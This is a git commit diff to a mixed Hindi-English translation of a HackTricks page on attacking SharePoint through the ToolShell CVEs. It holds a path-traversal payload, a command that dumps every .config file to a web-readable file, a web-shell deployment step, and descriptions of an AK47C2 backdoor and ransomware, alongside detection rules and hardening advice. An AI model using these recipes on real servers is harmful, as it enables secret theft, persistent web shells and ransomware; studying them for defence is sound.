mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh
This commit is contained in:
parent
7c804c2011
commit
ae50e9bfe5
@ -33,7 +33,7 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
|
||||
### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
|
||||
|
||||
एक बार जब हमलावर `ToolPane.aspx` में एक गैजेट को नियंत्रित कर लेता है, तो वे एक **unsigned** (या केवल MAC) `__VIEWSTATE` मान पोस्ट कर सकते हैं जो *w3wp.exe* के अंदर .NET डेसिरियलाइजेशन को ट्रिगर करता है जिससे कोड निष्पादन होता है।
|
||||
एक बार जब हमलावर `ToolPane.aspx` में एक गैजेट को नियंत्रित कर लेता है, तो वे एक **unsigned** (या केवल MAC) `__VIEWSTATE` मान पोस्ट कर सकते हैं जो *w3wp.exe* के अंदर .NET deserialization को ट्रिगर करता है, जिससे कोड निष्पादन होता है।
|
||||
|
||||
यदि साइनिंग सक्षम है, तो किसी भी `web.config` से **ValidationKey/DecryptionKey** चुरा लें (देखें 2.4) और *ysoserial.net* या *ysodom* के साथ पेलोड को फर्ज करें:
|
||||
```
|
||||
@ -45,22 +45,22 @@ For an in-depth explanation on abusing ASP.NET ViewState read:
|
||||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||||
{{#endref}}
|
||||
|
||||
### 2.4 CVE-2025-53771 – पथ ट्रैवर्सल / web.config प्रकटीकरण
|
||||
### 2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
|
||||
|
||||
`ToolPane.aspx` को एक तैयार `Source` पैरामीटर भेजना (जैसे `../../../../web.config`) लक्षित फ़ाइल को लौटाता है, जिससे निम्नलिखित का लीक होना संभव होता है:
|
||||
`ToolPane.aspx` में एक तैयार `Source` पैरामीटर भेजने पर (जैसे `../../../../web.config`) लक्षित फ़ाइल लौटती है, जिससे निम्नलिखित का लीक होने की अनुमति मिलती है:
|
||||
|
||||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ ViewState / ASPXAUTH कुकीज़ को forge करें
|
||||
* कनेक्शन स्ट्रिंग्स और रहस्य।
|
||||
|
||||
## 3. पोस्ट-एक्सप्लॉइटेशन व्यंजन जो जंगली में देखे गए
|
||||
## 3. Post-exploitation recipes observed in the wild
|
||||
|
||||
### 3.1 हर *.config* फ़ाइल को एक्सफिल्ट्रेट करें (विविधता-1)
|
||||
### 3.1 Exfiltrate every *.config* file (variation-1)
|
||||
```
|
||||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||||
```
|
||||
परिणामी `debug_dev.js` को गुमनाम रूप से डाउनलोड किया जा सकता है और इसमें **सभी** संवेदनशील कॉन्फ़िगरेशन शामिल है।
|
||||
|
||||
### 3.2 एक Base64-कोडित ASPX वेब शेल (variation-2) तैनात करें
|
||||
### 3.2 एक Base64-कोडित ASPX वेब शेल तैनात करें (संस्करण-2)
|
||||
```
|
||||
powershell.exe -EncodedCommand <base64>
|
||||
```
|
||||
@ -79,39 +79,90 @@ Response.Write(MachineKey.ValidationKey);
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
शेल **मशीन कुंजी पढ़ने / घुमाने** के लिए एंडपॉइंट्स को उजागर करता है, जो ViewState और ASPXAUTH कुकीज़ को फार्म में बनाने की अनुमति देता है।
|
||||
The shell exposes endpoints to **read / rotate machine keys** which allows forging ViewState and ASPXAUTH cookies across the farm.
|
||||
|
||||
### 3.3 ओबफस्केटेड वेरिएंट (वेरिएशन-3)
|
||||
### 3.3 Obfuscated variant (variation-3)
|
||||
|
||||
समान शेल लेकिन:
|
||||
* `...\15\TEMPLATE\LAYOUTS\` के तहत गिराया गया
|
||||
* वेरिएबल नाम एकल अक्षरों में घटाए गए
|
||||
* सैंडबॉक्स-एवेज़न और टाइमिंग-आधारित AV बायपास के लिए `Thread.Sleep(<ms>)` जोड़ा गया।
|
||||
Same shell but:
|
||||
* `...\15\TEMPLATE\LAYOUTS\` के तहत गिरा हुआ
|
||||
* चर नाम एकल अक्षरों में घटाए गए
|
||||
* सैंडबॉक्स-निष्कासन और समय-आधारित AV बायपास के लिए `Thread.Sleep(<ms>)` जोड़ा गया।
|
||||
|
||||
## 4. पहचान विचार
|
||||
### 3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)
|
||||
|
||||
| टेलीमेट्री | यह संदिग्ध क्यों है |
|
||||
हालिया घटना-प्रतिक्रिया जांच (Unit42 “Project AK47”) दिखाती हैं कि हमलावर ToolShell श्रृंखला का उपयोग कैसे करते हैं **प्रारंभिक RCE के बाद** SharePoint वातावरण में एक द्वि-चैनल C2 इम्प्लांट और रैनसमवेयर तैनात करने के लिए:
|
||||
|
||||
#### AK47C2 – `dnsclient` variant
|
||||
|
||||
* हार्ड-कोडेड DNS सर्वर: `10.7.66.10` प्राधिकृत डोमेन `update.updatemicfosoft.com` के साथ संचार कर रहा है।
|
||||
* संदेश JSON ऑब्जेक्ट्स XOR-एन्क्रिप्टेड हैं स्थिर कुंजी `VHBD@H`, हेक्स-कोडेड और **उप-डोमेन लेबल** के रूप में एम्बेडेड हैं।
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
|
||||
```
|
||||
|
||||
* लंबे प्रश्नों को टुकड़ों में विभाजित किया जाता है और `s` के साथ पूर्ववर्ती किया जाता है, फिर सर्वर-साइड पर फिर से जोड़ा जाता है।
|
||||
* सर्वर TXT रिकॉर्ड में समान XOR/हेक्स योजना के साथ उत्तर देता है:
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
|
||||
```
|
||||
* संस्करण 202504 ने एक सरल प्रारूप `<COMMAND>::<SESSION_KEY>` और टुकड़ा मार्कर `1`, `2`, `a` पेश किया।
|
||||
|
||||
#### AK47C2 – `httpclient` variant
|
||||
|
||||
* सटीक JSON & XOR रूटीन का पुनः उपयोग करता है लेकिन हेक्स ब्लॉब को **HTTP POST बॉडी** में `libcurl` के माध्यम से भेजता है (`CURLOPT_POSTFIELDS`, आदि)।
|
||||
* समान कार्य/परिणाम कार्यप्रवाह की अनुमति देता है:
|
||||
* मनमाना शेल कमांड निष्पादन।
|
||||
* गतिशील नींद अंतराल और किल-स्विच निर्देश।
|
||||
|
||||
#### X2ANYLOCK ransomware
|
||||
|
||||
* 64-बिट C++ पेलोड DLL साइड-लोडिंग के माध्यम से लोड किया गया (नीचे देखें)।
|
||||
* फ़ाइल डेटा के लिए AES-CBC का उपयोग करता है + RSA-2048 AES कुंजी को लपेटने के लिए, फिर एक्सटेंशन `.x2anylock` जोड़ता है।
|
||||
* स्थानीय ड्राइव और खोजे गए SMB शेयरों को पुनरावृत्त रूप से एन्क्रिप्ट करता है; सिस्टम पथों को छोड़ देता है।
|
||||
* स्पष्ट-टेक्स्ट नोट `How to decrypt my data.txt` छोड़ता है जिसमें बातचीत के लिए एक स्थिर **Tox ID** एम्बेडेड है।
|
||||
* एक आंतरिक **किल-स्विच** शामिल है:
|
||||
|
||||
```c
|
||||
if (file_mod_time >= "2026-06-06") exit(0);
|
||||
```
|
||||
|
||||
#### DLL side-loading chain
|
||||
|
||||
1. हमलावर `dllhijacked.dll`/`My7zdllhijacked.dll` को एक वैध `7z.exe` के बगल में लिखता है।
|
||||
2. SharePoint-जनित `w3wp.exe` `7z.exe` को लॉन्च करता है, जो Windows खोज क्रम के कारण दुर्भावनापूर्ण DLL को लोड करता है, मेमोरी में रैनसमवेयर एंट्रीपॉइंट को सक्रिय करता है।
|
||||
3. एक अलग LockBit लोडर देखा गया (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) शेल-कोड को डिक्रिप्ट करता है और LockBit 3.0 चलाने के लिए `d3dl1.dll` में **DLL हॉलोइंग** करता है।
|
||||
|
||||
> [!INFO]
|
||||
> X2ANYLOCK में पाया गया वही स्थिर Tox ID लीक हुए LockBit डेटाबेस में दिखाई देता है, जो सहयोगी ओवरलैप का सुझाव देता है।
|
||||
|
||||
---
|
||||
|
||||
## 4. Detection ideas
|
||||
|
||||
| Telemetry | Why it is suspicious |
|
||||
|-----------|----------------------|
|
||||
| `w3wp.exe → cmd.exe` | वर्कर प्रोसेस को शायद ही कभी शेल स्पॉन करना चाहिए |
|
||||
| `w3wp.exe → cmd.exe` | कार्यकर्ता प्रक्रिया को शायद ही कभी शेल उत्पन्न करना चाहिए |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | क्लासिक lolbin पैटर्न |
|
||||
| फ़ाइल घटनाएँ `debug_dev.js` या `spinstall0.aspx` बनाना | ToolShell से सीधे IOC |
|
||||
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module लॉग) | सार्वजनिक PoCs इस पृष्ठ को सक्रिय करते हैं |
|
||||
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | सार्वजनिक PoCs इस पृष्ठ को सक्रिय करते हैं |
|
||||
|
||||
उदाहरण XDR / Sysmon नियम (pseudo-XQL):
|
||||
Example XDR / Sysmon rule (pseudo-XQL):
|
||||
```
|
||||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||||
```
|
||||
## 5. हार्डनिंग और शमन
|
||||
|
||||
1. **पैच** – जुलाई 2025 सुरक्षा अपडेट *सभी* चार CVEs को ठीक करते हैं।
|
||||
2. समझौते के बाद हर `<machineKey>` और `ViewState` रहस्यों को **घुमाएं**।
|
||||
2. समझौते के बाद हर `<machineKey>` और `ViewState` रहस्यों को **घुमाएँ**।
|
||||
3. `WSS_WPG` और `WSS_ADMIN_WPG` समूहों से *LAYOUTS* लिखने की अनुमति हटा दें।
|
||||
4. प्रॉक्सी/WAF स्तर पर `/_layouts/15/ToolPane.aspx` तक बाहरी पहुंच को ब्लॉक करें।
|
||||
5. **ViewStateUserKey**, **MAC सक्षम**, और कस्टम *EventValidation* सक्षम करें।
|
||||
|
||||
## संबंधित तरकीबें
|
||||
|
||||
* IIS पोस्ट-एक्सप्लोइटेशन और web.config दुरुपयोग:
|
||||
* IIS पोस्ट-एक्सप्लॉइटेशन और web.config दुरुपयोग:
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||||
{{#endref}}
|
||||
@ -120,7 +171,8 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
|
||||
- [Unit42 – Microsoft SharePoint कमजोरियों का सक्रिय शोषण](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – ToolShell शोषण श्रृंखला](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft सुरक्षा सलाह – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Microsoft सुरक्षा सलाह – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
- [Microsoft सुरक्षा सलाहकार – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Unit42 – प्रोजेक्ट AK47 / SharePoint शोषण और रैंसमवेयर गतिविधि](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
|
||||
- [Microsoft सुरक्षा सलाहकार – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user